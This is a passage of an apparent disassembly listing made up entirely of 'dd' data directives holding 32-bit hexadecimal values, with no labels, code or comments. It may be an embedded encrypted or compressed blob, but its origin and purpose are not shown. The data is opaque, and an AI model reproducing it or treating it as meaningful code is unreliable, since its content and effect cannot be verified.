		dd 9B93C4C0h, 0A7B49E00h, 1C1B8EDh, 0AED5000Ah,	16F8C6AAh
		dd 0DC002D08h, 0A1EA0BB6h, 13A6788Dh, 82EED582h, 7AE06CD4h
		dd 1803E473h, 65EAE849h, 2E1AB857h, 0CC8505E1h,	85FCF672h
		dd 80C4B63h, 9C1BF682h,	84F86C50h, 9A120A00h, 2378BD9Eh
		dd 0D42C13D2h, 0C0385C81h, 0E4385AB9h, 660B7BC7h, 80E140B3h
		dd 0CA0A59Ch, 0D0B80FA9h, 88E5F6C4h, 40D8002Ch,	0F8CA2E05h
		dd 79042731h, 0A7E87F12h, 0FB1900D5h, 0E1DAE705h, 70C48FC1h
		dd 5A418837h, 0F71CCDC5h, 996E3909h, 3E54E066h,	0E8865B2Ch
		dd 0C78F009Bh, 5B241974h, 97EF00DDh, 0BABEEC52h, 45069D6Eh
		dd 0AC07B2Bh, 54190060h, 0DD63CF05h, 0F5F64D18h, 0D15E6400h
		dd 0F8F7458Ch, 155901BAh, 0DB409F13h, 127AD85Bh, 0FBA0A41Eh
		dd 60791F0Fh, 0C0C6D3EBh, 340100E2h, 2B48680Fh,	0AD039856h
		dd 3AC892A0h, 757EF12Fh, 0FFE814E1h, 3D87008Dh,	18F7F87Ch
		dd 9C005F6Ch, 592F85EFh, 2E5112FBh, 0F6A91Ah, 5F490BF5h
		dd 0B900BA23h, 21D19A66h, 0F878A085h, 8C6313Ah,	2053A220h
		dd 58C08384h, 0F90E5299h, 0AF4700D7h, 8BE56E9Eh, 0B49EDEF0h
		dd 5560FE01h, 5A202375h, 8D9B5091h, 730303C7h, 0DCC572CBh
		dd 3DE7D2C0h, 7C61C000h, 873A1FFDh, 559AFC10h, 9ECCCCBh
		dd 0DBCA022Fh, 4D4057B5h, 0A9D8604Bh, 54073CACh, 107D9A3Eh
		dd 0EEA8CF00h, 6B0300F8h, 4AFA060Fh, 55E4CA0Ch,	2C60CD00h
		dd 6E020467h, 0DDB10083h, 2D9B09B9h, 0D713C070h, 14C40B15h
		dd 5C48E0h, 0E31106F0h,	3EBAD15Ah, 0F3ABC31Dh, 69E7FEC0h
		dd 91C57A6h, 0B501D32Ch, 90C47084h, 5F554620h, 38FC9717h
		dd 0FBB1D01h, 60F6BA0Dh, 0C2CAA08h, 3D54DCDEh, 0B6008511h
		dd 7F60B30Eh, 13F74E1Bh, 52DCE6h, 0DDC07A0Eh, 44902B05h
		dd 8899B900h, 0F6AC4571h, 61C91E4Eh, 0ED94C08Dh, 0FB2E9B72h
		dd 6E79D090h, 0A736E51Eh, 3D8A006Eh, 0B780A40Dh, 0B1DD67DCh
		dd 70C21ECDh, 499E4045h, 83A873Ch, 2F64D000h, 444067C5h
		dd 889A88h, 592BD925h, 6391447h, 0E57E8600h, 0D4A13BC5h
		dd 1EB80416h, 0C56890AAh, 15660395h, 6BF8CCECh,	2800750Ah
		dd 0C38086F4h, 9CF31C0Fh, 0B52343ACh, 0A080708Bh, 7E00E82Ah
		dd 6C56C83Bh, 0FA2032h,	0C9E9A8F7h, 50173F76h, 0DC10F000h
		dd 866D3B2Ah, 0AA40E3Ah, 1107F138h, 0CDC38E20h,	0C9836AAh
		dd 120015A3h, 0BAC3EE96h, 19BEF5h, 0B8D06753h, 0FF32DB3Fh
		dd 41556812h, 0ABF2A800h, 0F369E1h, 0BEB1DC22h,	0CC1F26B0h
		dd 915AE400h, 610DEFAh,	40ED5BD9h, 9D83B32Ch, 0B70103BCh
		dd 8CDA46F9h, 6C749290h, 6AF10E21h, 0DC20C935h,	5FEE8EA1h
		dd 5C2EE202h, 0C0637D9Bh, 3E84B5CFh, 74B367h, 39F8F8Bh
		dd 0EAC66BEFh, 86A1B600h, 7932251Eh, 0F89D0481h, 0B0DA6959h
		dd 0A3747FD4h, 8006098h, 0D4E499C5h, 0E4D2A660h, 525B0097h
		dd 34765D8Ah, 0C07F427h, 0A8138494h, 0D8BF7190h, 64101DDCh
		dd 2EC8B038h, 3900662Dh, 69D98E4Dh, 25262F73h, 1C940EF9h
		dd 9DDC7B41h, 9B3A00FDh, 0AA84B99Ah, 3D4B318Fh,	81F12002h
		dd 99CB0389h, 2C9C14C1h, 9A7B1F18h, 8DAB6C40h, 3CD3F54Fh
		dd 9F804AF6h, 0D8AC1154h, 927D74EEh, 0B92E3A0Fh, 60FDC92Fh
		dd 3D1DC04h, 154A7177h,	9103F644h, 0A2302689h, 9659C021h
		dd 60149654h, 6FFD9127h, 28EBF43Eh, 0CBF40CDCh,	0D80950B9h
		dd 37E780F9h, 3FC0224Bh, 24057F31h, 5490AEh, 0FCA24CFCh
		dd 7C00E85Ch, 3607DE9h,	50B40153h, 0D6DADCh, 0B8E29718h
		dd 87247EA4h, 9C8A4317h, 0BD6CC900h, 986AE9h, 8C4112EEh
		dd 8A2BACCEh, 1391F900h, 80679C02h, 0C5E03DDFh,	0E9EC6680h
		dd 43175B92h, 499D4700h, 0CA881930h, 0D77D0234h, 0F8D2B754h
		dd 377C80A3h, 50BF7288h
		dd 0ED045B7Dh, 8FA0D028h, 58D76300h, 2D0F0957h,	6076B55Fh
		dd 2CF6CA65h, 0A79B30B7h, 85E640D8h, 0BBA86D03h, 17C52B7Ah
		dd 1F671D18h, 743ACAF8h, 0EBFA809Ch, 0BCEAF637h, 69C24E18h
		dd 0D587A19h, 8BD17C36h, 0F213E811h, 0B2715101h, 2097516h
		dd 9DA3CBh, 0F22BBC21h,	4CAD361h, 0F46D0E00h, 30F7BE93h
		dd 0D69AFA1Ch, 12640390h, 697B68DDh, 0C19D5D00h, 0A9E20DF6h
		dd 0E8A572FDh, 2921C09Eh, 0C6669D14h, 0C9872C00h, 0F1966360h
		dd 0A7EC187Ch, 34E6D8BEh, 5260F67Dh, 8A3C3061h,	2770C090h
		dd 0B39925CDh, 0E4B7505h, 38C76CA7h, 4F792460h,	45AC0720h
		dd 0C05C2ACCh, 9BE596Bh, 0B2FD071Eh, 0A11CCFA4h, 57CE6640h
		dd 6F8F5284h, 43411CAh,	999807FEh, 7EC0CF2Bh, 2507206h
		dd 0C91ACB67h, 9840D548h, 1003CF9h, 62B6A499h, 62457EA3h
		dd 0C8AE297Dh, 129B6300h, 19983Fh, 798B4A0Eh, 0D17BE799h
		dd 3190F300h, 828102D0h, 0CFDF03E6h, 0CA012454h, 78F415E0h
		dd 0F5F38800h, 696FA318h, 0AB143BCCh, 0D1CDAEh,	9B264A23h
		dd 0A700B3BAh, 0F748D1AFh, 5C6264h, 1CF104D8h, 7F4D9F8h
		dd 66DEE20Ch, 1845874h,	56B83C19h, 4050C5F1h, 7DAEE4CDh
		dd 0DDD2750Eh, 4DE8C0EDh, 0F1402Fh, 200F4697h, 0F6EF02B5h
		dd 728B5000h, 1B5E44A4h, 31960055h, 86E1F49Ch, 0A300D699h
		dd 5866DC35h, 3F1706D0h, 758052AEh, 28B64779h, 0EE004DE9h
		dd 0CC93BA48h, 506309BFh, 0FF9B421h, 0D062A2BDh, 700BD7A6h
		dd 0A3DE4E04h, 0A808025h, 0F08BA58h, 30C089BBh,	7DFFF500h
		dd 3E7313C4h, 1CC2E2Ch,	0C961DD00h, 429DE2h, 0DAAD12FAh
		dd 0C67922EDh, 4AA54033h, 0BC63A0DCh, 363F4844h, 33B40800h
		dd 50077229h, 0A7EA1B00h, 0EE0AE484h, 0B66C011h, 42D1A910h
		dd 32E91500h, 99FAEF9h,	475D38ADh, 689E1Ch, 18D3FD62h
		dd 4000B25Ah, 70286BEEh, 0E805F65h, 0BBD6D8F4h,	0FEE0007Ch
		dd 0D2871868h, 0A7BD0400h, 4CB6AAE2h, 0EAA25049h, 92450381h
		dd 0E9D46A8h, 0DB1FE08Fh, 7A00D77Bh, 9E856D67h,	246809D0h
		dd 22B38Fh, 3ADB1B73h, 0C739B8E0h, 0ED6F8746h, 52A0FE62h
		dd 3A9603ABh, 2C8013A8h, 4245E91Eh, 6F0024DDh, 0F440C854h
		dd 250C5Ch, 209BBDC4h, 0B581B609h, 0F532D600h, 0A27AE229h
		dd 0E65A0060h, 0C27691B3h, 0C1007204h, 83C0F261h, 2023A6h
		dd 1F35FA67h, 0F59F07D9h, 0C33AAF00h, 54B5DAB3h, 0EE1B7997h
		dd 0DB2100A3h, 7B053EB6h, 16394F86h, 0D6DC8178h, 0CC04DE90h
		dd 0F00B25ECh, 0F1330035h, 0B7614B9Fh, 843FF4AFh, 0B32080C0h
		dd 1EC10166h, 57EB007Ah, 0C2BA0E60h, 76068940h,	1A44FBF1h
		dd 33D50060h, 2FA7480h,	5E3795B4h, 471128B8h, 51C8F348h
		dd 0ABA000FEh, 818D7D14h, 0AC030935h, 0E18B2A76h, 30B000A4h
		dd 0CEE0F397h, 9D00EC31h, 0B73B5B40h, 0A7D848h,	0C82E9C4Fh
		dd 0B3F679BBh, 94034D00h, 0D82BF831h, 558C4851h, 0EE6C3200h
		dd 0ACB9B85h, 0E1474A03h, 0A88B45E8h, 7F214CC7h, 5B413956h
		dd 0C07FA69Dh, 14B1F303h, 8D00D565h, 9336A373h,	3EEEC3A0h
		dd 0A100A6C1h, 5F977784h, 8600091Ch, 0DAEF10B3h, 96A57Bh
		dd 410A1B5Ah, 5D39D6E4h, 0C613E600h, 5031D46Fh,	0AB0409FFh
		dd 90009D61h, 1FB363Fh,	82B7D900h, 607AEBB3h, 45960031h
		dd 83C5CAFAh, 6E18486Dh, 2160C765h, 0A1AA006Bh,	90797294h
		dd 8D76BBA2h, 4200D798h, 7310DD05h, 30E5D429h, 0B9193E91h
		dd 6F00E4C8h, 38FADED5h, 1E1368B7h, 50DF86h, 4162A75h
		dd 7200EF84h, 0CD0F23E3h, 0AE6D2F2h, 7EC98D57h,	3BDC00ACh
		dd 0AB5B580Bh, 6C015900h, 0D312D420h, 0FCC901EEh, 0AFBCDBE3h
		dd 3403C081h, 80532B00h, 9F327A75h, 3E3001D8h, 4CCECC85h
		dd 0DA82D490h, 189D7D0Eh, 14D0C083h, 4B3A598h, 0CA32EE54h
		dd 2A049317h, 915EF200h, 0E3438DC3h, 0EF5000D8h, 153B60C2h
		dd 42398789h, 0C75D80BCh, 4823C5DEh, 2C8800C3h,	52D66D3Bh
		dd 0E37E8D55h, 85C1D817h, 1648F514h, 0BA01EA0Dh, 0BDA8F82Dh
		dd 17E937D1h, 0B120B547h, 90E0971Dh, 6BD848E4h,	0C1FD050h
		dd 0C3CEC4BEh, 520054E0h, 0CD15DA73h, 0D36E9Ah,	6C2C4B1Eh
		dd 0B7412976h, 9CAB7400h, 2DE7932Fh, 14200001h,	9FF2DB83h
		dd 405BC28h, 39E88A05h,	0ADC33580h, 1DCE725h, 0E5D02CDDh
		dd 9C870BCEh, 0F4C6F700h, 50003494h, 0F90AEB2Bh, 0F86CABh
		dd 383A2D07h, 0ED161221h, 0D9857000h, 0DB9891Fh, 0F787003Ch
		dd 576EA75Fh, 0C0011229h, 0EE26DD32h, 0E0C789B8h, 1B6C5Bh
		dd 8348EC97h, 8624A596h, 36613200h, 0DB413125h,	0D3512EE3h
		dd 200400D2h, 9E748588h, 0F4FB0A0Eh, 6C0BE0ABh,	26382Ah
		dd 7E43D1B5h, 0FFA8FEEDh, 67B4EE00h, 0B36C97E4h, 6AB60076h
		dd 1B7B5670h, 1C00E3C5h, 0A89BEC2Dh, 8D6775h, 0A9CD217Fh
		dd 657351CBh, 0C135BF00h, 0FC29BD84h, 80AC3CBBh, 2FAD0F80h
		dd 0AFE66D43h, 4F7AA400h, 0BE4A6E64h, 1D3E7D56h, 146FE53h
		dd 4C76CF2Fh, 0FBF080EBh, 9F37C48Fh, 558C0077h,	0C16695DAh
		dd 67073550h, 0C35AFCADh, 160F1C30h, 0A8411D33h, 0E06640D1h
		dd 814372EDh, 6618800h,	8EB2AD98h, 169C7176h, 1EDFEEFBh
		dd 0CEB23C40h, 0BD025D11h, 806D2795h, 3455E4DBh, 419C5A05h
		dd 0BBC7F77Bh, 0A370AD80h, 1A527C2Ah, 0B15BBE0Ch, 73D41810h
		dd 9E9D55Ch, 0FB4E303h,	0CDD024Ah, 0FD18A085h, 0C324655h
		dd 622AAD99h, 0D0A34A0h, 0FCFF4C37h, 0BC81729Fh, 713AB7D2h
		dd 0CA67DCh, 2F188AD3h,	3784DC9h, 7C810B03h, 0E341D9E2h
		dd 0F2A800F3h, 0AF29C919h, 0C11DC214h, 658078A1h, 6CB5504Ch
		dd 0A61600B0h, 0B131C0BCh, 20005592h, 8E3A698Fh, 579B7Ch
		dd 0E2F7F618h, 27AD0D59h, 6D37112Ch, 0C834CF00h, 7DF405Ch
		dd 304A53B4h, 422540F5h, 5A0DFB88h, 0C1D5D447h,	0EB049FE2h
		dd 10A94706h, 2ACF114h,	0A540080h, 77AE83AAh, 0B97A00BDh
		dd 0D413E358h, 0F119C8E4h, 0AE29FD5Eh, 7C44F208h, 46D64547h
		dd 0C24229E2h, 7E874111h, 0E94828A0h, 88C6B140h, 293995DCh
		dd 9AF40062h, 0B13B16C3h, 0A482165Ah, 0E6970E7Ch, 0BA1789A3h
		dd 45BBB6C8h, 0EE3A7B00h, 330E8EDh, 1DBD3914h, 57FD0E7Eh
		dd 7000D909h, 0F54E0725h, 8E907800h, 224F471h, 25834CBAh
		dd 0B141C001h, 0F12921DBh, 0D91DFCCDh, 250EDC72h, 27F0A4D5h
		dd 0E111CF07h, 0A450C561h, 0FC0528DFh, 0B1A900C8h, 37CDDEA2h
		dd 0D3005678h, 9FE0792Bh, 0FCC01F23h, 6EB600D2h, 650FF5D4h
		dd 3FE46A8Fh, 8D95982Ch, 9372AA00h, 1590490h, 8A383CD2h
		dd 5277FEC7h, 5CA07DD8h, 0DFB6FC3Eh, 7A2E151Fh,	3BEC9380h
		dd 829DADh, 0FE251923h,	0D21DCFEEh, 8976CC00h, 0A1865652h
		dd 38D80030h, 0F29B2F92h, 0B100670Eh, 4EB90741h, 7E82DA0h
		dd 7AE4CF17h, 4F3709Dh,	9B1B4CA4h, 0B8B080C4h, 9BC66DEh
		dd 2B01D2FEh, 91D98A80h, 0FC0EA678h, 20FB6009h,	0BE4211ADh
		dd 8469005Dh, 0C7A77A73h, 75F08974h, 536C1C01h,	60A9720Ah
		dd 8D9BE4h, 45AA66B4h, 9AB60E6Eh, 1479F4F7h, 30B45150h
		dd 9464C703h, 883F28AEh, 0B5B0DE8h, 7DB446FCh, 0F50718Ah
		dd 5C4E174Dh, 0C057DE1Dh, 3973B3DDh, 4600E225h,	6402F9E1h
		dd 0F2FA90h, 936C9D81h,	5C25DFD1h, 0A010C500h, 0AC322992h
		dd 0A8D7B8Eh, 812767CCh, 0E8B203E1h, 95E3B652h,	0C9C46AD0h
		dd 1305E600h, 23F3D4FDh
		dd 0E48400DAh, 12D2900Fh, 40A6D2Fh, 9CFE783Eh, 35EB83Dh
		dd 820C130Dh, 5F649FD3h, 0C7088E83h, 84B1AE20h,	70B402A3h
		dd 0DC583EBDh, 12420040h, 0A9989h, 0E6D70AC8h, 704C2Bh
		dd 475414EAh, 9233E4E7h, 79AA0703h, 0EF015181h,	0AB3CF2E3h
		dd 6630007Bh, 0B256B341h, 0E4079249h, 7FDA0D32h, 4DF0E36Eh
		dd 6296BAEh, 0E5202C00h, 54037036h, 0CAA96563h,	818D822h
		dd 1AEF1C06h, 0CDA040BEh, 34392D41h, 0C700F771h, 0BF9412C4h
		dd 382EAE69h, 109F83FFh, 420CC08Fh, 0D145BE56h,	26337003h
		dd 0B0A69F2Ch, 7D137Ch,	0EECAD9FDh, 0A9F7F119h,	8CB72002h
		dd 68460ABAh, 88ACF0h, 775476E8h, 2B379A91h, 0EC0301Fh
		dd 5768D780h, 79080BBh,	0DD27D448h, 0DF1FC093h,	8B011C67h
		dd 24E98488h, 70DC920Eh, 0FC7200B5h, 7CC4367Dh,	0E40098C1h
		dd 0A7CCC013h, 44C5FBh,	7A4B954h, 0C9BD0F52h, 0FD0096E0h
		dd 69D12DC4h, 0BC6440h,	91F0A82Fh, 7DA5902Bh, 0DC2CB300h
		dd 0D19D676Bh, 725AF6FAh, 36C509BFh, 0B200839Ch, 449451B6h
		dd 0F9C8E707h, 23E0D0A6h, 31FF330h, 4B7DA449h, 20B728CAh
		dd 770AA75Eh, 974D9926h, 41DA5807h, 11D24F20h, 0F6177C6Dh
		dd 0A082396Bh, 0A1C7D00h, 979B6A35h, 5D053000h,	5EB65AA4h
		dd 0A30E1C83h, 7FF640DDh, 0CC0AF289h, 0F7B3613h, 3B747800h
		dd 0B09FD1D0h, 10290150h, 0C3FE93F3h, 1A12EC86h, 0A53A497Ah
		dd 0FA95030Ch, 0C82B5B37h, 199F53Dh, 0C2010DF9h, 0F036D66Ah
		dd 4003A32h, 0BE19C4C3h, 2FF9E9h, 215AC045h, 98657A3Bh
		dd 0D8A8D000h, 9B52957Fh, 138B0103h, 33B20DC8h,	7024DC90h
		dd 0C35FB307h, 9A10C564h, 609FCB4Bh, 0C979F888h, 0CE203E5h
		dd 0E4FB4Ch, 1AE2614Fh,	0BC8EE4h, 0B54D51EEh, 0ADDF8C71h
		dd 82577900h, 2401413Ch, 810C004Eh, 2230FFA9h, 0BC1F5365h
		dd 9CC7CE19h, 5702F082h, 0EF9080DAh, 0BD51F56h,	0ACBA06C3h
		dd 0C95AF680h, 0C607CAB1h, 0DDBE6EF4h, 0C84FA6A0h, 1E85E20Eh
		dd 0C0064927h, 9817CE40h, 0AF00729Fh, 26BAD43Bh, 5345F94h
		dd 6D0F58E7h, 0A9CC80B9h, 2900B661h, 1EFCEBCBh,	566E6ADh
		dd 0CDB23A1h, 11B509E5h, 0BFB8E800h, 8548A84Ah,	0F4037E3Ch
		dd 8F6B2996h, 0C9369112h, 0F24BAAC8h, 8086007Ah, 0A6D8AE87h
		dd 0C2E9922h, 0FB00A5E3h, 0AB3DF2A4h, 36B00FFh,	994A7712h
		dd 450029B8h, 14E05BD0h, 5801D363h, 1500CA8Dh, 0C24AAE10h
		dd 2C007D3Ch, 0C7C950CAh, 0EC434FD9h, 0FB07C94h, 18E493Bh
		dd 0F06BF180h, 90029EEh, 0A0CCBA93h, 0FAAD6495h, 0AA2F01ECh
		dd 0A43AC81Dh, 0D84FFC56h, 18AA33Ch, 0B9CD047Ch, 3420CA6Fh
		dd 34E10027h, 3B4811AAh, 1E003CD3h, 0F206E13h, 91C1809h
		dd 0CA018798h, 396A80DFh, 40DDB9Bh, 163D6405h, 31A4C059h
		dd 0F500295Eh, 1252BF1Eh, 39F18819h, 1880F83Dh,	40CCAF06h
		dd 87740B2Dh, 4ED5101Fh, 0DAE1FD00h, 39647Ch, 9B4AB581h
		dd 0FFC3CF2Bh, 9465000h, 52DE8CA3h, 0FD055029h,	0C5AC00F8h
		dd 565F115Bh, 53EE2050h, 8054623Fh, 8CEF0368h, 0A1E0C8h
		dd 196344CCh, 237C7A46h, 350EB300h, 0CEC08943h,	0EAA10FEEh
		dd 0A3203327h, 0B362387Bh, 81DFE0Fh, 8C7AC03Ah,	32E2291h
		dd 9EE6A8A0h, 3BB82710h, 0A12641D7h, 3F0098F1h,	0EB8A052Ah
		dd 520F00B3h, 5781628Fh, 0A03867C6h, 0A6F00084h, 68D03DCFh
		dd 0E6441D3Ch, 0EE00BF29h, 922C7611h, 42E23B8Ah, 27E46100h
		dd 0C00771ABh, 7618006Bh, 30253633h, 1901D89Eh,	0D6054AA4h
		dd 0E06055F4h, 84A70010h, 0DF878EB5h, 0ED7CCB5Fh, 96261C00h
		dd 74A1A51Dh, 4F2F475h,	37603D5Ch, 53A9C0F7h, 85001811h
		dd 59CFE6F8h, 1C3F0422h, 6C21121Ah, 13113E0h, 7924DE6Dh
		dd 0C93DC863h, 0A58F7103h, 8127AB19h, 64F86DF4h, 2DB50307h
		dd 602993D2h, 0F08EDCB9h, 65031484h, 0AA06435h,	1D3DB47h
		dd 51906258h, 0D02B26B9h, 1300AF36h, 59AA0E56h,	7E2EF97h
		dd 25BC469Fh, 514071FAh, 6198DFC4h, 2D00F01Fh, 0E86CA30Ch
		dd 770F36F9h, 8528399Ch, 0A0888C28h, 2A9F60h, 0C2D92BF2h
		dd 0F7CDD1EFh, 8B301B16h, 0E949F422h, 28CCFF6Ch, 2C631CEAh
		dd 0C47C4934h, 3A604A0h, 4A59358Ch, 7AB81F08h, 0E6010066h
		dd 0B5BA721Bh, 9373E0h,	0F33112B3h, 2BDAC8D9h, 520000B0h
		dd 4FE8B756h, 82D3FBh, 3337A927h, 708E1BF9h, 728CC700h
		dd 0BC0604A3h, 1FDBF6DCh, 40F5757Dh, 6F8AA7AFh,	3900F857h
		dd 0B855F648h, 5842D4F0h, 2056BF9h, 0C0BD49AAh,	3DDF622Eh
		dd 0BEEE2616h, 501DDD01h, 0CCE87CDDh, 0BAFF008Ah, 79101B1h
		dd 4C002410h, 0A5E7EB02h, 5C6921h, 0B542B270h, 970AD43Fh
		dd 0DD16F725h, 0BE31B460h, 0F4613C05h, 0D580CA10h, 11BF326h
		dd 0FABAC766h, 0DC7694F9h, 4200078Fh, 41BEC016h, 7F2E56h
		dd 0FBB5E22Ch, 0B31E69A7h, 0C258FC7Eh, 0ECB6002Ch, 0AFC5A2D1h
		dd 7ECF008Eh, 5A3FC837h, 8800E8BBh, 0EBB4E597h,	0A830B2h
		dd 0FF4190EAh, 0F8BCF0F5h, 0C956E0C0h, 1351B754h, 4D330E8h
		dd 80A5F549h, 962CCDBFh, 46645817h, 37AB3605h, 775DB400h
		dd 7CBADE6h, 0B85F05D8h, 237510CDh, 0DC03F986h,	850124EFh
		dd 8219E8B1h, 0F1470064h, 3D23F8D5h, 161E9EDDh,	0B1C078D2h
		dd 0EFB38C5Ah, 3B2800ECh, 8E39B2C5h, 650060C4h,	0D77F6B46h
		dd 0EABDEDh, 0DBB5A868h, 0AE8D50B9h, 72B84400h,	9CCEFF8Ch
		dd 65740028h, 83AD929Bh, 0F60076ABh, 250DEEE7h,	0E30181h
		dd 0A828EDFFh, 831D8953h, 12EC454Eh, 0CD00E43Dh, 397C824Dh
		dd 0A7072F3Fh, 0D4DB2A6Eh, 0ED60A0BEh, 89F91Fh,	0D57C0796h
		dd 0E3F06C3Ah, 0BBC13500h, 53D31A98h, 0EF2D0004h, 0CFB90848h
		dd 7D014BCDh, 0BF70C815h, 90701A7Fh, 0C059ECA2h, 258E3B90h
		dd 2C004323h, 0A4396B9Eh, 1556753h, 79E4DFEEh, 0C1239611h
		dd 5D9FDCDCh, 753B8201h, 75FD051h, 421F1180h, 5AE838EFh
		dd 0C41A3500h, 0E4DE2251h, 0C6706A8Ch, 0F2AB908Ch, 0C0E64347h
		dd 7EABDFh, 0A240FB01h,	1FC7E763h, 40361830h, 795ECC08h
		dd 0A8B500A6h, 0C6C3C0F5h, 0D478C225h, 70830203h, 0DB78751Ch
		dd 0BA84B052h, 477CADh,	56B57B77h, 0DC0D35Bh, 0CB584505h
		dd 0E400B46Ch, 656120DCh, 0F69600C3h, 5DBF82E1h, 0B16FF578h
		dd 13D5C120h, 0EEC01D9Eh, 117D43h, 0FC2D73D9h, 67D23412h
		dd 0D6622718h, 0B0C6CBD0h, 0E26B003Bh, 6FBF7A9h, 39486716h
		dd 0A0030FC0h, 0D59E0062h, 0BFE81Fh, 0AC3AFFC2h, 0E4B0D249h
		dd 0C00082F8h, 78AF02Eh, 24D906h, 904AB183h, 5D276CC4h
		dd 213D6B30h, 0FC745CDh, 79E81C66h, 621FAD40h, 0B3008F5Bh
		dd 0D9A0AE15h, 6021C7D1h, 0CBE980A5h, 4100F9EAh, 0D418B32Bh
		dd 3FB252C5h, 47DCD7Bh,	2A13F54h, 57D2801Dh, 39399C88h
		dd 9600F0B2h, 6E5D792Ah, 0CF977Eh, 0A8672792h, 60ADB87Dh
		dd 0E022DB04h, 0B2C00FACh, 9930696h, 0C05BBD1Bh, 5A540881h
		dd 0B3FE43BAh, 4481C9CFh, 0E4EA18D3h, 0B103820Ch, 3F79C1DCh
		dd 7AF9A838h, 81C300BDh, 2CF0953Bh, 7D000DA2h, 334BF388h
		dd 1E635C1Ch, 3B7991h, 19D3DFD7h, 0ADE2F89Ch, 0A0853E03h
		dd 1B2E49h, 8EFC72F8h, 0A29771Eh, 0EEE5B004h, 70D084DEh
		dd 137ED0Fh, 0D0A25BB8h, 0EC4A3402h, 381C0C8Fh,	780031C3h
		dd 0E9A010Ah, 3FF007Dh,	6760C5CBh, 0D200AD2Ch, 0F6873E06h
		dd 0FCCA5Fh, 0B7FE2836h
		dd 595447CFh, 6B6E7D07h, 27F07F14h, 335DCEAh, 57BF97A3h
		dd 73D034A1h, 7BEA239Eh, 5F08B000h, 861B455Dh, 92310F53h
		dd 9880A4E6h, 0DBA88BEh, 9B6B8003h, 80B3BB28h, 12C8D5h
		dd 5A72F6E8h, 4F195E57h, 0BC8E8701h, 88062AEFh,	1A55C0h
		dd 5259B971h, 8987DEB5h, 9C4ECE00h, 745C3C62h, 10F90E70h
		dd 5BA03DEDh, 0F21A5F50h, 0C3F01E00h, 0E6E78FF6h, 0A3A20027h
		dd 0AE95CCC7h, 0B5E2EBEAh, 0DAC6FD1Eh, 171B1080h, 0B8F54CAFh
		dd 0D5D700C4h, 4D388366h, 94FEF263h, 0F18A1C00h, 41AD3516h
		dd 0B50A00F6h, 57B09322h, 30005C3Dh, 1EC14C02h,	0CF9421h
		dd 54904384h, 0FF1BF6B0h, 52F1331Eh, 94AF8B00h,	75BEBF4h
		dd 0B9816A1h, 868DB0B5h, 501EC3A2h, 9400F08Ah, 0B37A43C1h
		dd 736C7B09h, 31F60059h, 4B7706E4h, 0AF0073BDh,	5A1F8F1Bh
		dd 2C3AAEh, 61A32BF0h, 0D29054ECh, 927E9703h, 0E06D432Dh
		dd 5861387h, 0A2370F03h, 74CC017Dh, 0F683120Ah,	43A98980h
		dd 2C00E058h, 0A1188A1Fh, 0FECE07B6h, 407C0021h, 0F22BBE79h
		dd 0A00355FFh, 0D3C0E635h, 0E072BA24h, 1C1CA8Dh, 8C2A04FDh
		dd 0D057FC7Ch, 0E7241999h, 0F1800470h, 59A79CA1h, 0A5941DDCh
		dd 1831D69h, 2BD33392h,	3D288675h, 5A17CAAh, 3E0AB4F9h
		dd 600AC0FAh, 45007718h, 688A8714h, 0B69EF4h, 19C09A31h
		dd 0F1E0E8B8h, 0AF8C4600h, 9EB03D8Ah, 1CF390D4h, 80C72533h
		dd 0F4696D28h, 0FB0EC1A7h, 6119EBE9h, 489489DDh, 633FF0h
		dd 809DA986h, 98AF3B15h, 0DC51A507h, 7C402A1Fh,	60DF6C97h
		dd 16B3A178h, 5036FA5h,	3CF50ACCh, 0B018009Ch, 0CE512267h
		dd 0F721C861h, 0E8190A3Eh, 0ECFD4088h, 8E3A62FCh, 8C5B02E4h
		dd 82EB199Dh, 863DF710h, 350131Ch, 0C9B601D4h, 71A0EBAAh
		dd 440338E2h, 0B80B68ACh, 0E99F887Eh, 0D500085h, 0D220B62Ch
		dd 0E04CAE61h, 0EF0C02E4h, 87705BBBh, 0E6F06897h, 1FEE88EAh
		dd 0A330C3h, 0FEDED8C1h, 6BEC1C2Bh, 4C00827Bh, 21BFDD7Ah
		dd 0AD29F5h, 43976477h,	93C5EC0Fh, 0BD7F9500h, 0DF263F49h
		dd 0CB8C00EBh, 0F4414794h, 0E5EE711Dh, 0A0968400h, 0D50AEDC8h
		dd 92C001A5h, 7ACAD219h, 5DF1EC09h, 291CE800h, 0A89EB165h
		dd 2F2802D6h, 71C688AFh, 0C85488A1h, 0BC2C20DFh, 0F42AFC19h
		dd 2180A309h, 0F5DFBF34h, 61001E4Ch, 0CC79ACB1h, 54060A28h
		dd 1BFFA492h, 188C3C99h, 13810798h, 867E6601h, 9F9863BEh
		dd 61F82983h, 529AD7B6h, 6A19FC83h, 21900830h, 1B6595Dh
		dd 6E212A3Ch, 0C4B22EC3h, 61EA8DFFh, 5E187E12h,	6D586819h
		dd 0B6085F18h, 0C44261D1h, 575340CDh, 9CF4B6h, 1DFA3A5Bh
		dd 928C0D39h, 0F7F3E703h, 4731A99h, 1F8174F1h, 0C19C9428h
		dd 839AF34Fh, 0A12DB120h, 44380E67h, 0BB04C275h, 3F1E0074h
		dd 6A5963Ch, 3D9CDB21h,	22600831h, 3C24FC49h, 25AF7290h
		dd 2BD695D1h, 72C65806h, 0A0B10079h, 0FB8CD586h, 0D810A5B8h
		dd 1E00E023h, 823DDD19h, 627856B9h, 39CC6701h, 9D54DB0h
		dd 0DA2F908Fh, 85058C34h, 0E05690Fh, 0AE4067C0h, 0C68306ACh
		dd 0E259000h, 0F01FCF6h, 0ABE639h, 0D4D6655Fh, 0E4C55904h
		dd 6B0052FEh, 0A1660E75h, 99CE19h, 63E761BDh, 1E9AA5D9h
		dd 0FE50B7h, 5C38C1F2h,	0D13048FFh, 0E6700B7Ah,	6562930Fh
		dd 900E009Bh, 0CD412Eh,	57F7FA27h, 1AFF5230h, 8A028D00h
		dd 9992B1CBh, 5018C068h, 0EB7289CFh, 9BC7561Eh,	4E1F8000h
		dd 1DCDA7h, 0EA44D3D9h,	3BBD8BD2h, 0E00C660Ch, 4850E7h
		dd 821D6337h, 4C5B60EDh, 0E57E3E00h, 89B80679h,	0B485011Bh
		dd 514DC3EBh, 0F94880ECh, 6731ED7Fh, 193D035Ch,	0E44EF5B5h
		dd 77957EF0h, 9B0D3B07h, 89E0D18Ah, 3051FF71h, 13A191CFh
		dd 4915A746h, 18050B1h,	2D423AE1h, 0A98FF8D5h, 1C61EC8Fh
		dd 1099E0DFh, 0FA6B2293h, 0C9704Dh, 0CA67455Eh,	0D5369CE7h
		dd 93B13301h, 71523BF7h, 91E39043h, 5CD0D95Eh, 0A072547Ah
